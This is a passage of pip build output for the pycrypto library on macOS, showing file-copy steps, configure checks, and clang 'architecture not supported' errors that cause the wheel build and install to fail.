copying lib/Crypto/Cipher/PKCS1_OAEP.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/DES.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/blockalgo.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/py3compat.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/number.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/winrandom.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/_number_new.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/RFC1751.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/randpool.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/Counter.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/asn1.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random
copying lib/Crypto/Random/_UserFriendlyRNG.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random
copying lib/Crypto/Random/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random
copying lib/Crypto/Random/random.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/Fortuna
copying lib/Crypto/Random/Fortuna/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/Fortuna
copying lib/Crypto/Random/Fortuna/SHAd256.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/Fortuna
copying lib/Crypto/Random/Fortuna/FortunaGenerator.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/Fortuna
copying lib/Crypto/Random/Fortuna/FortunaAccumulator.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/Fortuna
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/OSRNG
copying lib/Crypto/Random/OSRNG/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/OSRNG
copying lib/Crypto/Random/OSRNG/posix.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/OSRNG
copying lib/Crypto/Random/OSRNG/rng_base.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/OSRNG
copying lib/Crypto/Random/OSRNG/fallback.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/OSRNG
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest
copying lib/Crypto/SelfTest/st_common.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest
copying lib/Crypto/SelfTest/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_AES.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_CAST.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_ARC4.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_pkcs1_oaep.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_DES3.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/common.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_DES.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_ARC2.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_Blowfish.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_XOR.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_pkcs1_15.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_SHA224.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_MD2.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_RIPEMD.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_MD4.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/common.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_SHA512.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_MD5.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_SHA384.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_SHA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_SHA256.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
copying lib/Crypto/SelfTest/Hash/test_HMAC.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Hash
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
copying lib/Crypto/SelfTest/Protocol/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
copying lib/Crypto/SelfTest/Protocol/test_AllOrNothing.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
copying lib/Crypto/SelfTest/Protocol/test_rfc1751.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
copying lib/Crypto/SelfTest/Protocol/test_chaffing.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
copying lib/Crypto/SelfTest/Protocol/test_KDF.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Protocol
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
copying lib/Crypto/SelfTest/PublicKey/test_RSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
copying lib/Crypto/SelfTest/PublicKey/test_importKey.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
copying lib/Crypto/SelfTest/PublicKey/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
copying lib/Crypto/SelfTest/PublicKey/test_DSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
copying lib/Crypto/SelfTest/PublicKey/test_ElGamal.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/PublicKey
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random
copying lib/Crypto/SelfTest/Random/test_rpoolcompat.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random
copying lib/Crypto/SelfTest/Random/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random
copying lib/Crypto/SelfTest/Random/test_random.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random
copying lib/Crypto/SelfTest/Random/test__UserFriendlyRNG.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/Fortuna
copying lib/Crypto/SelfTest/Random/Fortuna/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/Fortuna
copying lib/Crypto/SelfTest/Random/Fortuna/test_FortunaGenerator.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/Fortuna
copying lib/Crypto/SelfTest/Random/Fortuna/test_FortunaAccumulator.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/Fortuna
copying lib/Crypto/SelfTest/Random/Fortuna/test_SHAd256.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/Fortuna
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/test_posix.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/test_generic.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/test_fallback.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/test_nt.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
copying lib/Crypto/SelfTest/Random/OSRNG/test_winrandom.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Random/OSRNG
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
copying lib/Crypto/SelfTest/Util/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
copying lib/Crypto/SelfTest/Util/test_winrandom.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
copying lib/Crypto/SelfTest/Util/test_Counter.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
copying lib/Crypto/SelfTest/Util/test_asn1.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
copying lib/Crypto/SelfTest/Util/test_number.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Util
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Signature
copying lib/Crypto/SelfTest/Signature/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Signature
copying lib/Crypto/SelfTest/Signature/test_pkcs1_pss.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Signature
copying lib/Crypto/SelfTest/Signature/test_pkcs1_15.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Signature
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Protocol
copying lib/Crypto/Protocol/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Protocol
copying lib/Crypto/Protocol/AllOrNothing.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Protocol
copying lib/Crypto/Protocol/KDF.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Protocol
copying lib/Crypto/Protocol/Chaffing.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Protocol
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/_slowmath.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/RSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/pubkey.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/_DSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/_RSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/DSA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
copying lib/Crypto/PublicKey/ElGamal.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/PublicKey
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Signature
copying lib/Crypto/Signature/PKCS1_PSS.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Signature
copying lib/Crypto/Signature/PKCS1_v1_5.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Signature
copying lib/Crypto/Signature/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Signature
Skipping optional fixer: buffer
Skipping optional fixer: idioms
Skipping optional fixer: set_literal
Skipping optional fixer: ws_comma
running build_ext
running build_configure
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking for __gmpz_init in -lgmp... no
checking for __gmpz_init in -lmpir... no
checking whether mpz_powm is declared... no
checking whether mpz_powm_sec is declared... no
checking how to run the C preprocessor... gcc -E
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking for ANSI C header files... yes
checking for sys/types.h... yes
checking for sys/stat.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for memory.h... yes
checking for strings.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for unistd.h... yes
checking for inttypes.h... (cached) yes
checking limits.h usability... yes
checking limits.h presence... yes
checking for limits.h... yes
checking stddef.h usability... yes
checking stddef.h presence... yes
checking for stddef.h... yes
checking for stdint.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking wchar.h usability... yes
checking wchar.h presence... yes
checking for wchar.h... yes
checking for inline... inline
checking for int16_t... yes
checking for int32_t... yes
checking for int64_t... yes
checking for int8_t... yes
checking for size_t... yes
checking for uint16_t... yes
checking for uint32_t... yes
checking for uint64_t... yes
checking for uint8_t... yes
checking for stdlib.h... (cached) yes
checking for GNU libc compatible malloc... yes
checking for memmove... yes
checking for memset... yes
configure: creating ./config.status
config.status: creating src/config.h
warning: GMP or MPIR library not found; Not building Crypto.PublicKey._fastmath.
building 'Crypto.Hash._MD2' extension
creating build/temp.macosx-10.14.6-x86_64-3.8
creating build/temp.macosx-10.14.6-x86_64-3.8/src
xcrun -sdk macosx clang -Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -fwrapv -Wall -iwithsysroot/System/Library/Frameworks/System.framework/PrivateHeaders -iwithsysroot/Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.8/Headers -arch arm64 -arch x86_64 -std=c99 -O3 -fomit-frame-pointer -Isrc/ -I/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.8/include/python3.8 -c src/MD2.c -o build/temp.macosx-10.14.6-x86_64-3.8/src/MD2.o
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:61:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/_types.h:27:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:32:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/cdefs.h:807:2: error: Unsupported architecture
#error Unsupported architecture
^
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:61:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/_types.h:27:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:33:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/machine/_types.h:34:2: error: architecture not supported
#error architecture not supported
^
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:61:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/_types.h:27:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:55:9: error: unknown type name '__int64_t'
typedef __int64_t __darwin_blkcnt_t; /* total blocks /
^
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:56:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t __darwin_blksize_t; /
preferred block size /
^
note: '__int128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:57:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t __darwin_dev_t; /
dev_t /
^
note: '__int128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:60:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_gid_t; /
[???] process and group IDs /
^
note: '__uint128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:61:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_id_t; /
[XSI] pid_t, uid_t, or gid_t*/
^
note: '__uint128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:62:9: error: unknown type name '__uint64_t'
typedef __uint64_t __darwin_ino64_t; /* [???] Used for 64 bit inodes /
^
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:68:9: error: unknown type name '__darwin_natural_t'
typedef __darwin_natural_t __darwin_mach_port_name_t; /
Used by mach /
^
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:70:9: error: unknown type name '__uint16_t'; did you mean '__uint128_t'?
typedef __uint16_t __darwin_mode_t; /
[???] Some file attributes /
^
note: '__uint128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:71:9: error: unknown type name '__int64_t'
typedef __int64_t __darwin_off_t; /
[???] Used for file sizes /
^
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:72:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t __darwin_pid_t; /
[???] process and group IDs /
^
note: '__int128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:73:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_sigset_t; /
[???] signal set /
^
note: '__uint128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:74:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t __darwin_suseconds_t; /
[???] microseconds /
^
note: '__int128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:75:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_uid_t; /
[???] user IDs /
^
note: '__uint128_t' declared here
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types.h:76:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_useconds_t; /
[???] microseconds */
^
note: '__uint128_t' declared here
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:61:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/_types.h:43:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t __darwin_wctype_t;
^
note: '__uint128_t' declared here
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:64:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types/_size_t.h:31:9: error: unknown type name '__darwin_size_t'
typedef __darwin_size_t size_t;
^
In file included from src/MD2.c:30:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/string.h:152:
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/_types/_ssize_t.h:30:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/machine/types.h:37:2: error: architecture not supported
#error architecture not supported
^
fatal error: too many errors emitted, stopping now [-ferror-limit=]
20 errors generated.
error: command 'xcrun' failed with exit status 1


ERROR: Failed building wheel for pycrypto
Running setup.py clean for pycrypto
Failed to build pycrypto
Installing collected packages: pycrypto, certifi, urllib3, idna, chardet, requests
Running setup.py install for pycrypto ... error
ERROR: Command errored out with exit status 1:
command: /Library/Developer/CommandLineTools/usr/bin/python3 -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/xd/c1h_3xmj12q08slfnzr9v8fr0000gn/T/pip-install-p9qp1zro/pycrypto/setup.py'"'"'; file='"'"'/private/var/folders/xd/c1h_3xmj12q08slfnzr9v8fr0000gn/T/pip-install-p9qp1zro/pycrypto/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(file);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' install --record /private/var/folders/xd/c1h_3xmj12q08slfnzr9v8fr0000gn/T/pip-record-y1dc7wiu/install-record.txt --single-version-externally-managed --compile
cwd: /private/var/folders/xd/c1h_3xmj12q08slfnzr9v8fr0000gn/T/pip-install-p9qp1zro/pycrypto/
Complete output (244 lines):
running install
running build
running build_py
creating build
creating build/lib.macosx-10.14.6-x86_64-3.8
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto
copying lib/Crypto/pct_warnings.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto
copying lib/Crypto/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/MD2.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/SHA512.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/SHA384.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/SHA256.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/hashalgo.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/SHA.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/SHA224.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/MD4.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/HMAC.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/MD5.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
copying lib/Crypto/Hash/RIPEMD.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Hash
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/CAST.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/ARC4.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/AES.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/PKCS1_v1_5.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/DES3.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/XOR.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/Blowfish.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/ARC2.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/PKCS1_OAEP.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/DES.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
copying lib/Crypto/Cipher/blockalgo.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Cipher
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/py3compat.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/number.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/winrandom.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/_number_new.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/RFC1751.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/randpool.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/Counter.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
copying lib/Crypto/Util/asn1.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Util
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random
copying lib/Crypto/Random/_UserFriendlyRNG.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random
copying lib/Crypto/Random/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random
copying lib/Crypto/Random/random.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/Fortuna
copying lib/Crypto/Random/Fortuna/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/Fortuna
copying lib/Crypto/Random/Fortuna/SHAd256.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/Fortuna
copying lib/Crypto/Random/Fortuna/FortunaGenerator.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/Fortuna
copying lib/Crypto/Random/Fortuna/FortunaAccumulator.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/Fortuna
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/OSRNG
copying lib/Crypto/Random/OSRNG/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/OSRNG
copying lib/Crypto/Random/OSRNG/posix.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/OSRNG
copying lib/Crypto/Random/OSRNG/rng_base.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/OSRNG
copying lib/Crypto/Random/OSRNG/fallback.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/Random/OSRNG
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest
copying lib/Crypto/SelfTest/st_common.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest
copying lib/Crypto/SelfTest/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest
creating build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_AES.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_CAST.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_ARC4.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_pkcs1_oaep.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/test_DES3.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
copying lib/Crypto/SelfTest/Cipher/init.py -> build/lib.macosx-10.14.6-x86_64-3.8/Crypto/SelfTest/Cipher
